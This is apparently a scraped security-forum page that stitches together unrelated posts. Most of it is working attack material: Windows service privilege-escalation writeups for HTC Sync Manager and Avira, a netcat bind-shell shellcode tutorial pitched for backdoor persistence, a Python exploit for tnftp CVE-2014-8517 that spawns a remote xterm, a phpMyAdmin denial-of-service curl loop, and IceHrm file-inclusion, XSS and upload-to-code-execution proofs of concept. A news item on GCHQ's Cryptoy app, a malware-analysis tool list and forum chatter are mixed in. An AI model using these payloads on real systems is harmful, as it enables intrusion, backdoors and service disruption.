Aerosol

# Exploit Title: HTCSyncManager 3.1.33.0 (HSMServiceEntry.exe) Service Trusted Path Privilege Escalation # Date: 12/12/2014 #Author: Hadji Samir s-dz@hotmail.fr #Product web page: http://www.htc.com/fr/software/htc-sync-manager/ #Affected version: 3.1.33.0 #Tested on: Windows 7 (FR) HTC Synchronisation manager for devices HTC Vulnerability Details There are weak permissions for 'HTCSyncManager'default installation where everyone is allowed to change the HSMServiceEntry.exe with an executable of their choice. When the service restarts or the system reboots the attacker payload will execute on the system with SYSTEM privileges. C:\Users\samir>sc qc HTCMonitorService [SC] QueryServiceConfig réussite(s) SERVICE_NAME: HTCMonitorService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\HTC\HTC Sync Manager\HSMServiceEntry.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : HTCMonitorService DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\samir>icacls "C:\Program Files\HTC\HTC Sync Manager\HSMServiceEntry.exe" C:\Program Files\HTC\HTC Sync Manager\HSMServiceEntry.exe AUTORITE NT\Système:(I)(F) BUILTIN\Administrateurs:(I)(F) BUILTIN\Utilisateurs:(I)(RX) 1 fichiers correctement traités ; échec du traitement de 0 fichiers Source

Backdooring Technique with Netcat(Shellcode version) |=+++++++++++++++++++++++++++=[ Netcat as a shellcode ]=+++++++++++++++++++++++++++=| |=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=| |=+++++++++++++++++++++++++++=[ flor_iano@hotmail.com ]=+++++++++++++++++++++++++++=| |=+++++={Greetz to Str0ke, INFOSEC Institute, and to all who read this paper}=+++++=| Disclaimer:Take Care! Do not include this program to software, you can go in jail for abuse of privacy, its a backdoor and you can be detected if you dont know what you do. -----[ A Introduction - What is Netcat(SwissArmy Knife)? Netcat is a unix utility wich read and writes data across network connections, using TCP or UDP protocol. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs && scripts. It is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or simply "nc" as the actual program is named shoud have been supplied long ago as another one of those cryptic but standart Unix tools. Netcat is considered on top 20 Network debugging tools, it serve in several ways: (1)It connects to a server. (2)Is used as a backdoor. (3)We get to transfer data(files) with commands. (4)It can be connected at almost all of the TCP/IP's ports. (5)ETC. Nowadays the security administrators should (and is a "must" to)learn using netcat for his simplicity on connecting on others computers.In this paper i will show you the netcat shellcode so you can use it in your software to get a "back-end" port open and have a persistence access to a server or a computer you wish to access to. -----[ Nasty work Now, I as computer enthusiast and a software programmer have searched for weeks and weeks on geeting a shellcode for netcat becauze its very hard for this tool since it is a network debugging tool. First of all we write two C program's to test the shellcode: #include <stdio.h> //IO header #include <string.h> //Functions on favor of strings #include <stdlib.h> //exit() function char shellcode[] = ""; /* Global array */ int main(int argc, char **argv) { int (*ret)(); /* ret is a func pointer*/ ret = (int(*)())shellcode; /* ret points to our shellcode */ (int)(*ret)(); /* shellcode is type caste as a function */ exit(0) /* exit() */ } And the second program is about the mman.h tester program: #include <stdio.h> //IO header #include <sys/mman.h> //MMAN sys func #include <string.h> //Functions on favor of strings #include <stdlib.h> //Define Var types #include <unistd.h> //Defines misc symbolic constants and types, and declares misc functions int (*shellcodetotest)(); /* Global Variable type int, shellcodetotest is a func pointer */ char shellcode[] = ""; /* Global array */ int main(int argc, char **argv) { void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); /* Mmap functions passed to *ptr pointer */ if(ptr == MAP_FAILED) { perror("mmap"); /* Func to error of program */ exit(-1); } memcpy(ptr, shellcode, sizeof(shellcode)); /* Memcpy function */ shellcodetotest = ptr; /* Here we test the shellcode with mmap functions */ shellcodetotest(); /* Exec the shellcode */ return 0; /* return */ } So what to do now: (1) Prepare the C program to exec nc commands. (2) Test it. (3) Debug it. root@MINDZSEC:~# nano ntcat.c #include <stdio.h> #include <string.h> #include <unistd.h> int main() { setresuid(0,0,0); /* Set res UID 0 0 0 to all program */ char *envp[] = { NULL }; char *argv[] = {"/bin/nc", "-lvp9999", "-e/bin/sh", NULL}; int ret = execve("/bin/nc", argv, envp); /* exec the command */ } Now we compile it: root@MINDZSEC:~# gcc -S ntcat.c (-S switch for asm lang) Assemble root@MINDZSEC:~# as ntcat.s -o ntcat.o Link it. root@MINDZSEC:~# ld ntcat.o -o ntcat Run it root@MINDZSEC:~# ./ntcat listening on [any] 9999 ... Disassemble. root@MINDZSEC:~# objdump -d ntcat.o ntcat.o: file format elf32-i386 Disassembly of section .text: 00000000 <main>: 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 83 ec 30 sub $0x30,%esp 9: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 10: 00 11: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 18: 00 19: c7 04 24 00 00 00 00 movl $0x0,(%esp) 20: e8 fc ff ff ff call 21 <main+0x21> 25: c7 44 24 28 00 00 00 movl $0x0,0x28(%esp) 2c: 00 2d: c7 44 24 18 00 00 00 movl $0x0,0x18(%esp) 34: 00 35: c7 44 24 1c 08 00 00 movl $0x8,0x1c(%esp) 3c: 00 3d: c7 44 24 20 11 00 00 movl $0x11,0x20(%esp) 44: 00 45: c7 44 24 24 00 00 00 movl $0x0,0x24(%esp) 4c: 00 4d: 8d 44 24 28 lea 0x28(%esp),%eax 51: 89 44 24 08 mov %eax,0x8(%esp) 55: 8d 44 24 18 lea 0x18(%esp),%eax 59: 89 44 24 04 mov %eax,0x4(%esp) 5d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 64: e8 fc ff ff ff call 65 <main+0x65> 69: 89 44 24 2c mov %eax,0x2c(%esp) 6d: c9 leave 6e: c3 ret We can strace it to see what syscall's executing. root@MINDZSEC:~# strace ./ntcat execve("./ntcat", ["./ntcat"], [/* 31 vars */]) = 0 brk(0) = 0x9966000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7764000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=103011, ...}) = 0 mmap2(NULL, 103011, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb774a000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY) = 3 Here we can see the firs syscall execve executing our program, followed by the opening of the dynamic linker/loader ld.so to load shared libraries. The opcodes that are presented up have NULLS on it so we must remember a rule to get a shellcode done: Remember to always use the smallest part of register possible to avoid null's, and xor is your friend. So I accept that this C programm will not work and we dont have to test it - its simple his opcodes have nulls.So what to do, we go back to assembly language (the most beautyfull programming language to program shellcodes. Remember: (1)You cant have nulls in your shellcode. (2)You cant use static addresses in your shellcode. (3)Xor is your friend. Now get on asm programming language root@MINDZSEC:~# nano ntcat.asm jmp short todo shellcode: ;from man setresuid: setresuid(uid_t ruid, uid_t euid, uid_t suid) xor eax, eax ;Zero out eax xor ebx, ebx ;Zero out ebx xor ecx, ecx ;Zero out ecx cdq ;Zero out edx using the sign bit from eax mov BYTE al, 0xa4 ;setresuid syscall 164 (0xa4) int 0x80 ;syscall execute pop esi ;esi contain the string in db xor eax, eax ;Zero out eax mov[esi + 7], al ;null terminate /bin/nc mov[esi + 16], al ;null terminate -lvp90 mov[esi + 26], al ;null terminate -e/bin/sh mov[esi + 27], esi ;store address of /bin/nc in AAAA lea ebx, [esi + 8] ;load address of -lvp90 into ebx mov[esi +31], ebx ;store address of -lvp90 in BBB taken from ebx lea ebx, [esi + 17] ;load address of -e/bin/sh into ebx mov[esi + 35], ebx ;store address of -e/bin/sh in CCCC taken from ebx mov[esi + 39], eax ;Zero out DDDD mov al, 11 ;11 is execve syscakk number mov ebx, esi ;store address of /bin/nc lea ecx, [esi + 27] ;load address of ptr to argv[] array lea edx, [esi + 39] ;envp[] NULL int 0x80 ;syscall execute todo: call shellcode db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD' ; 01234567890123456789012345678901234567890123 So what we done here: (1)We xor all the eac,ebx,ecx registers. (2)We write the command in shellcode sections. call shellcode db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD' ; 01234567890123456789012345678901234567890123 (3)We commented down of it number to have a focus on the command. (4)Then do the dirty programm getting finished. Now we compile it with nasm program root@MINDZSEC:~# nasm -f elf ntcat.asm Disassemble root@MINDZSEC:~# objdump -d ntcat.o ntcat.o: file format elf32-i386 Disassembly of section .text: 00000000 <shellcode-0x2>: 0: eb 35 jmp 37 <todo> 00000002 <shellcode>: 2: 31 c0 xor %eax,%eax 4: 31 db xor %ebx,%ebx 6: 31 c9 xor %ecx,%ecx 8: 99 cltd 9: b0 a4 mov $0xa4,%al b: cd 80 int $0x80 d: 5e pop %esi e: 31 c0 xor %eax,%eax 10: 88 46 07 mov %al,0x7(%esi) 13: 88 46 10 mov %al,0x10(%esi) 16: 88 46 1a mov %al,0x1a(%esi) 19: 89 76 1b mov %esi,0x1b(%esi) 1c: 8d 5e 08 lea 0x8(%esi),%ebx 1f: 89 5e 1f mov %ebx,0x1f(%esi) 22: 8d 5e 11 lea 0x11(%esi),%ebx 25: 89 5e 23 mov %ebx,0x23(%esi) 28: 89 46 27 mov %eax,0x27(%esi) 2b: b0 0b mov $0xb,%al 2d: 89 f3 mov %esi,%ebx 2f: 8d 4e 1b lea 0x1b(%esi),%ecx 32: 8d 56 27 lea 0x27(%esi),%edx 35: cd 80 int $0x80 00000037 <todo>: 37: e8 c6 ff ff ff call 2 <shellcode> 3c: 2f das 3d: 62 69 6e bound %ebp,0x6e(%ecx) 40: 2f das 41: 6e outsb %ds:(%esi),(%dx) 42: 63 23 arpl %sp,(%ebx) 44: 2d 6c 76 70 39 sub $0x3970766c,%eax 49: 39 39 cmp %edi,(%ecx) 4b: 39 23 cmp %esp,(%ebx) 4d: 2d 65 2f 62 69 sub $0x69622f65,%eax 52: 6e outsb %ds:(%esi),(%dx) 53: 2f das 54: 73 68 jae be <todo+0x87> 56: 23 41 41 and 0x41(%ecx),%eax 59: 41 inc %ecx 5a: 41 inc %ecx 5b: 42 inc %edx 5c: 42 inc %edx 5d: 42 inc %edx 5e: 42 inc %edx 5f: 43 inc %ebx 60: 43 inc %ebx 61: 43 inc %ebx 62: 43 inc %ebx 63: 44 inc %esp 64: 44 inc %esp 65: 44 inc %esp 66: 44 inc %esp Here im not making test of running it because i am 100% clearance that it will work so lets gett the shellcode from this object file. root@MINDZSEC:~# ./xxd-shellcode.sh ntcat.o "\xeb\x35\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\x46\x10\x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x27\xb0\x0b\x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44" This programm, damn it. We got with just a commannd .. Now it time to put this shellcode on mman.c test program,i used this because is a syscall function and can be simply works.But, its not wrong to use the shellcode with the first test program, but mman involve on it, is like a=b b=c a=c so we have a look on strace sig. mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7764000 //Here we saw that mmap2 func is used to exec the program like wise it will do with the first c test programm. Ok, since we put the shellcode in mman file now have a look on program: root@MINDZSEC:~# nano Mmap.c #include <stdio.h> #include <sys/mman.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int (*shellcodetotest)(); char shellcode[] = "\xeb\x35\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x5e\x31\xc0\x88\x46\x07\x88\x46\x10\x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08\x89\x5e\x1f\x8d\x5e\x11\x89\x5e\x23\x89\x46\x27\xb0\x0b\x89\xf3\x8d\x4e\x1b\x8d\x56\x27\xcd\x80\xe8\xc6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x76\x70\x39\x39\x39\x39\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44"; int main(int argc, char **argv) { void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if(ptr == MAP_FAILED){ perror("mmap"); exit(-1); } memcpy(ptr, shellcode, sizeof(shellcode)); shellcodetotest = ptr; shellcodetotest(); return 0; } root@MINDZSEC:~# gcc Mmap.c -o Mmap Run root@MINDZSEC:~# ./Mmap listening on [any] 9999 ... Hey we see its listening on port 9999, i used this port on ntcat.asm programm so its working.The assembly is all pretty understendable until you get down to the main.There is many ways to make his program more efficent and workable,i simply learnt much about shellcoding and came to this step.This paper can save you lots of time for making a netcat shellcode, just watch all the paper carefully and see were is your difficulty.Since i exposed my email you can contact on me to answer your questions if you have. I dont used gdb here cuz with this i meant that the reader who will see this paper can understand programming and its functions. In someplace in this paper i have include A file called xxd-shellcode.sh it saved me lot of time(5mins) to get the opcodes done: here you have it: #!/bin/bash filename=`echo $1 | sed s/"\.o$"//` rm -f $filename.shellcode objdump -d $filename.o | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g' echo Copy it and test it and dont change nothing, anyway you can find this on projectshellcode.com My Pseudoname is MINDZSEC(flor ian) and i love doing "SHELLCODE". My another article I think could be "Smashing the stack By me" Source

#!/usr/bin/env python2 # # Exploit Title: [tnftp BSD exploit] # Date: [11/29/2014] # Exploit Author: [dash] # Vendor Homepage: [www.freebsd.org] # Version: [FreeBSD 8/9/10] # Tested on: [FreeBSD 9.3] # CVE : [CVE-2014-8517] # tnftp exploit (CVE-2014-8517)tested against freebsd 9.3 # https://www.freebsd.org/security/advisories/FreeBSD-SA-14:26.ftp.asc # # 29 Nov 2014 by dash@hack4.org # # usage: # # redirect the vulnerable ftp client requests for http to your machine # # client will do something like: # ftp http://ftp.freebsd.org/data.txt # # you will intercept the dns request and redirect victim to your fake webserver ip # # attacker: start on 192.168.2.1 Xnest: Xnest -ac :1 # probably do also xhost+victimip # # attacker: python CVE-2014-8517.py 192.168.1.1 81 192.168.1.1 # # sadly you cannot put a slash behind the | also www-encoded is not working # plus problems with extra pipes # this renders a lot of usefull commands useless # so xterm -display it was # # *dirty* *dirdy* *dyrdy* *shell* ! # import os import sys import time import socket def usage(): print "CVE-2014-8517 tnftp exploit" print "by dash@hack4.org in 29 Nov 2014" print print "%s <redirect ip> <redirect port> <reverse xterm ip>"% (sys.argv[0]) print "%s 192.168.1.1 81 192.168.2.1"% (sys.argv[0]) #bind a fake webserver on 0.0.0.0 port 80 def webserveRedirect(redirect): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0",80)) s.listen(3) h, c = s.accept() #wait for request #print h.recv(1024) #send 302 print "[+] Sending redirect :>" h.send(redirect) s.close() return 0 #bind a fake webserver on port %rport def deliverUgga(owned): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0",rport)) s.listen(3) h, c = s.accept() # print h.recv(1024) print "[+] Deliver some content (shell is spwaned now)" h.send(owned) s.close() return 0 owned="""HTTP/1.1 200 Found Date: Fri, 29 Nov 2014 1:00:03 GMT Server: Apache Vary: Accept-Encoding Content-Length: 5 Connection: close Content-Type: text/html; charset=iso-8859-1 ugga ugga """ if(os.getuid())!=0: print "[-] Sorry, you need root to bind port 80!" sys.exit(1) if len(sys.argv)<3: usage() sys.exit(1) rip = sys.argv[1] rport = int(sys.argv[2]) revip = sys.argv[3] print "[+] Starting tnftp BSD client side exploit (CVE-2014-8517)" print "[+] Dont forget to run Xnest -ac :1" # ok, lets use xterm -display cmd = "xterm -display %s:1" % (revip) cmd = cmd.replace(" ","%20") print "[+] Payload: [%s]" % cmd redirect = "HTTP/1.1 302\r\n"\ "Content-Type: text/html\r\n"\ "Connection: keep-alive\r\n"\ "Location: http://%s:%d/cgi-bin/|%s\r\n"\ "\r\n\r\n" % (rip,rport,cmd) #child process owned data delivery uggapid = os.fork() if uggapid == 0: uggapid = os.getpid() deliverUgga(owned) else: #child proces for webserver redirect webpid = os.fork() if webpid == 0: webpid = os.getpid() webserveRedirect(redirect) #childs, come home! try: os.waitpid(webpid,0) except: pass try: os.waitpid(uggapid,0) except: pass #oh wait :> time.sleep(5) Source

# Exploit Title: Avira 14.0.7.342 (avguard.exe) Service Trusted Path Privilege Escalation # Date: 11/12/2014 #Author: Hadji Samir s-dz@hotmail.fr #Product web page: http://www.avira.com/ #Affected version: 14.0.7.342 #Tested on: Windows 7 (FR) Avira free antivirus 14.0.7.342 (avguard.exe) Avira free antivirus 14.0.7.342 contains a flaw in the 'avguard.exe' file that may reportedly allow gaining access to unauthorized privileges. The issue is due to an unquoted search path, which may allow a local attacker to inject arbitrary code in the root path. C:\Users\samir>sc qc AntiVirService [SC] QueryServiceConfig réussite(s) SERVICE_NAME: AntiVirService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Avira\AntiVir Desktop\avguard.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Avira Real-Time Protection DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\samir>icacls "C:\Program Files\Avira\AntiVir Desktop\avguard.exe" C:\Program Files\Avira\AntiVir Desktop\avguard.exe AUTORITE NT\Système:(I)(F) BUILTIN\Administrateurs:(I)(F) BUILTIN\Utilisateurs:(I)(RX) 1 fichiers correctement traités ; échec du traitement de 0 fichiers Source

============= DESCRIPTION: ============= A vulnerability present in in phpMyAdmin 4.0.x before 4.0.10.7, 4.1. x before 4.1.14.8, and 4.2.x before 4.2.13.1 allows remote attackers to cause a denial of service (resource consumption) via a long password. CVE-2014-9218 was assigned ============= Time Line: ============= December 3, 2014 - A phpMyAdmin update and the security advisory is published. ============= Proof of Concept: ============= *1 - Create the payload.* $ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s" {1..1000000} >> payload *2 - Performing the Denial of Service attack.* $ for i in `seq 1 150`; do (curl --data @payload http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done ============= Authors: ============= -- Javer Nieto -- http://www.behindthefirewalls.com -- Andres Rojas -- http://www.devconsole.info ============= References: ==================================================================== * http://www.behindthefirewalls.com/2014/12/when-cookies-lead-to-dos-in-phpmyadmin.html * http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php Source

@wirtz bre aici conteaza si platforma si conteaza SECURITATEA in primul rand... e mult de munca la o asemenea aplicatie, hai sa zicem ca de facut o faci dar cum ramane cu securitatea acelei aplicatii?

@Ganav https://rstforums.com/forum/35091-paxnwo-ban-pe-viata-pentru-leech.rst uite povestea aici. pe scurt are ban pe viata!

Ca o completare a https://rstforums.com/forum/74965-colectie-linkuri-utile.rst am sa vin si eu cu o lista. Malware Auto-Analysis PeStudio MASTIFF Comodo VirusTotal THREATANALYZR VIRSCAN EUREKA XECSCAN MALWAREVIZ XANDORA VICHECK METASCAN Document Analysis tools OFFICE MAL SCANNER OFFVIS CRYPTAM PDF EXAMINER PDF TOOLS PDF X-RAY PDF X-RAY LITE PEEPDF ORIGAMI PDF STREAMDUMPER JavaScript Analysis tools FIREBUG JSUNPACK-N JS BEAUTIFY JS BEAUTIFIER JavaScript Beautifier JS DEOBFUSCATOR RHINO SPIDERMONKEY 24 MALZILLA System & File Monitoring SYSINTERNALS REGSHOT CAPTUREBAT SYSANALYZER PROCESS HACKER PROCDOT Windows & Linux RADIOGRAPHY RUNSCANNER NORIBEN API MONITOR SWF analysis tools SWFTOOLS Windows & Linux SWF INVESTIGATOR OSX & Windows SWF DECOMPILER OSx & Windows SWFRETOOLS FLASM Linux & OSX & Windows FLARE Linux & OSX & Windows XXXSWF PE tools PE INSIDER CFF EXPLORER LORDPE PEVIEW PE EXPLORER CHIMPREC MALCODE ANALYSIS PACK (MAP) ShellCode analysis tools SHELLDETECT LIBEMU SHELLCODE2EXE CONVERTSHELLCODE SHELLCODE (MALWARE-TRACKER) JMP2IT Source & Download Packer analysis & detection RDG PACKER DETECTOR PEiD PACKERID WINDOWS PACKER DETECTOR LANGUAGE 2000 EXESCAN Q-UNPACK Hex editors HEXPLORER 010 EDITOR Trial-Windows & Purchase & Trial-Linux * Trial-OSX BINTEXT HACKMAN HEX EDITOR HXD Network analysis tools WIRESHARK OSX & Windows FAKENET INETSIM NCAT OSX & Windows APT PROTOCOL DECODERS Custom Base64 & Comment crew des & Joy Trojan &Binanen & Mini ASP Trijan FAKE DNS APATE DNS FAKE SMTP HONEYD TCP DUMP FIDDLER ]BURP SUITE NETWORK MINER NGREP NETWITNESS Memory Forensics tools VOLATILITY VOLATILITUX LINUX MEMORY EXTRACTOR (LIME) MEMORYANALYSIS BULK EXTRACTOR MEMORYZE REDLINE Debuggers OLLYDBG Custom & OLLYDBG 2.0 IMMUNITY DEBUGGER WINDBG GDB EDB URL analysis tools Rex Swain's HTTP Viewer URLQUERY UNMASK CONTENT URL VOID URL VOID Mask BRIGHTCLOUD NORTON SAFE WEB VURL SPONDULAS PHISHTANK SOURCE-CODE-VIEWER NETRENDERER DNS & IP lookup tools CYBER-INTELLIGENCE MXTOOLBOX DOMAIN TOOLS ROBTEX NETWOK-TOOLS DOMAIN DOSSIER DOMAIN QUERIES myDNStools ULTRA TOOLS Disassemblers IDA PRO 6.3 Demo & IDA 5.0 HOPPER Fedora & Ubuntu & OSX CAPSTONE PROFILER Linux & OSX & Windows Malware-Analyzer

British government surveillance agency GCHQ – counterpart of NSA – has fired-up another debate over the Internet by launching Android application to encourage teenagers to tackle emerging cybersecurity threats. The newly launched Android app, dubbed "Cryptoy", was developed by STEM (science, technology, engineering and maths) students on an industrial year placement at GCHQ. The Cryptoy app was highly appreciated and liked by GCHQ at the Cheltenham Science Festival that they made it available to download today. The app is designed mainly to tempt youngsters between the ages of 14 and 16 into trying their hand in cryptography and code-breaking, but can be used by anyone interested in cryptography. According to GCHQ, Cryptoy app will help users to understand basic encryption methods, teach the codes of the past, and create their own encrypted messages. The app allows users to share these encoded messages by using four code-breaking techniques – Shift, Substitution, Vigenère and Enigma. The messages can be shared with friends via social media or email, which can then be decoded by recipients with the help of the app. One of the spokespersons from GCHQ said that the UK youngsters are needed to be motivated to take up subjects like maths and computer science. "If we're going to get the next generation of security experts, we need to be encouraging them to take up these subjects," she said at the conference, where the app was introduced and announced. The agency says that the Cryptoy app only asks for very limited permissions and is not at all a surveillance tool – although the revelations by Edward Snowden made us all think 100 times before downloading and installing the app. You can download Cryptoy app now, which is available for free on the Google Play store. For now, it is available for Android platform, and an iOS version is pegged for release in 2015. The app works on Google's Nexus 10 and Nexus 7 tablets, and has been tested only on versions 4.1.2 and 4.4.2 of Android. Source

IceHrm <=7.1 Multiple Vulnerabilities Vendor: IceHRM Product web page: http://www.icehrm.com Affected version: <= 7.1 Summary: IceHrm is Human Resource Management web software for small and medium sized organizations. The software is written in PHP. It has community (free), commercial and hosted (cloud) solution. Desc: IceHrm <= 7.1 suffers from multiple vulnerabilities including Local File Inclusion, Cross-Site Scripting, Malicious File Upload, Cross-Site Request Forgery and Code Execution. Tested on: Apache/2.2.15 (Unix) PHP/5.3.3 MySQL 5.1.73 Vulnerabilities discovered by Stefan 'sm' Petrushevski @zeroscience Advisory ID: ZSL-2014-5215 Advisory URL: [url]http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5215.php[/url] 01.12.2014 --- 1. Local File Inclusion (LFI) ##################################################### File: app/index.php Vulnerable code: ---- snip ---- include APP_BASE_PATH.'/'.$group.'/'.$name.'/index.php'; app/?g=../&n=../../../../etc/passwd%00 ---- snip ---- Proof of Concept (PoC): [url]http://zsltest/icehrm/app/?g=../&n=../../../../etc/passwd%00[/url] Severity: CRITICAL ##################################################### 2. Local File Inclusion (LFI) ##################################################### File: service.php Vulnerable code: ---- snip ---- if($action == 'download'){ $fileName = $_REQUEST['file']; $fileName = CLIENT_BASE_PATH.'data/'.$fileName; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($fileName)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($fileName)); ob_clean(); flush(); readfile($fileName); ---- snip ---- Proof of Concept (PoC): [url]http://zsltest/icehrm/app/service.php?a=download&file=../config.php[/url] Severity: CRITICAL ##################################################### 3. Malicious File Upload / Code Execution ##################################################### File: fileupload.php Vulnerable code: ---- snip ---- //Generate File Name $saveFileName = $_POST['file_name']; if(empty($saveFileName) || $saveFileName == "_NEW_"){ $saveFileName = microtime(); $saveFileName = str_replace(".", "-", $saveFileName); } $file = new File(); $file->Load("name = ?",array($saveFileName)); // list of valid extensions, ex. array("jpeg", "xml", "bmp") $allowedExtensions = explode(',', "csv,doc,xls,docx,xlsx,txt,ppt,pptx,rtf,pdf,xml,jpg,bmp,gif,png,jpeg"); // max file size in bytes $sizeLimit =MAX_FILE_SIZE_KB * 1024; $uploader = new qqFileUploader($allowedExtensions, $sizeLimit); $result = $uploader->handleUpload(CLIENT_BASE_PATH.'data/',$saveFileName); // to pass data through iframe you will need to encode all html tags if($result['success'] == 1){ $file->name = $saveFileName; $file->filename = $result['filename']; $file->employee = $_POST['user']=="_NONE_"?null:$_POST['user']; $file->file_group = $_POST['file_group']; $file->Save(); $result['data'] = CLIENT_BASE_URL.'data/'.$result['filename']; $result['data'] .= "|".$saveFileName; $result['data'] .= "|".$file->id; } ---- snip ---- Proof of Concept (PoC) method: 1. Change the 'file_name' request parameter in desired filename. The file will be saved in 'data' folder. Example: file_name = dsadsa.php ==will be saved in==> data/dsadsa.php.txt 2. Create a malicious file (php shell) save it with .txt extension 3. Upload the malicious file (php shell) via the upload form in fileupload_page.php. The file will appear in ‘data’ folder as dsadsa.php.txt. 4. Access the file – [url]http://zsltest/icehrm/data/dsadsa.php.txt[/url] to execute the php code. PoC example: 1. [url]http://zsltest/icehrm/app/fileupload_page.php?id=xxx.php&msg=Upload%20Attachment&file_group=EmployeeDocument&file_type=all&user=1[/url] 2. xxx.txt contents: <?php phpinfo(); ?> 3. Upload the filename 4. Access the file: Severity: CRITICAL ##################################################### 4. Cross-Site Scripting (XSS) ##################################################### File: login.php Vulnerable code: ---- snip ---- <script type="text/javascript"> var key = ""; <?php if(isset($_REQUEST['key'])){?> key = '<?=$_REQUEST['key']?>'; key = key.replace(/ /g,"+"); <?php }?> ---- snip ---- Proof of Concept (PoC): http://zsltest/icehrm/app/login.php?key=';</script><script>alert(‘zsl’);</script> Severity: MEDIUM ##################################################### 5. Cross-Site Scripting (XSS) ##################################################### File: fileupload_page.php Vulnerable code: ---- snip ---- <div id="upload_form"> <form id="upload_data" method="post" action="<?=CLIENT_BASE_URL?>fileupload.php" enctype="multipart/form-data"> <input id="file_name" name="file_name" type="hidden" value="<?=$_REQUEST['id']?>"/> <input id="file_group" name="file_group" type="hidden" value="<?=$_REQUEST['file_group']?>"/> <input id="user" name="user" type="hidden" value="<?=$_REQUEST['user']?>"/> <label id="upload_status"><?=$_REQUEST['msg']?></label><input id="file" name="file" type="file" onChange="if(checkFileType('file','<?=$fileTypes?>')){uploadfile();}"></input> … ---- snip ---- Vulnerable parameters: id, file_group, user, msg Proof of Concept (PoC): [url]http://zsltest/icehrm/fileupload_page.php?id=XXXX%22%3E%3Cscript%3Ealert(‘zsl’)%3C/script%3E[/url] Severity: MEDIUM ##################################################### 6. Information Disclosure / Leaking Sensitive User Info ##################################################### Users’/employees’ profile images are easily accessible in the ‘data’ folder. Proof of Concept (PoC): [url]http://192.168.200.119/icehrm/app/data/profile_image_1.jpg[/url] [url]http://192.168.200.119/icehrm/app/data/profile_image_X.jpg[/url] <- x=user id Severity: LOW ##################################################### 7. Cross-Site Request Forgery (CSRF) ##################################################### All forms are vulnerable to CSRF. Documents library: [url]http://localhost/icehrm/app/service.php[/url] POST document=2&valid_until=&status=Inactive&details=detailz&attachment=attachment_evi4t3VuKqDfyY&a=add&t=EmployeeDocument Personal info: [url]http://localhost/icehrm/app/service.php[/url] GET t=Employee a=ca sa=get mod=modules=employees 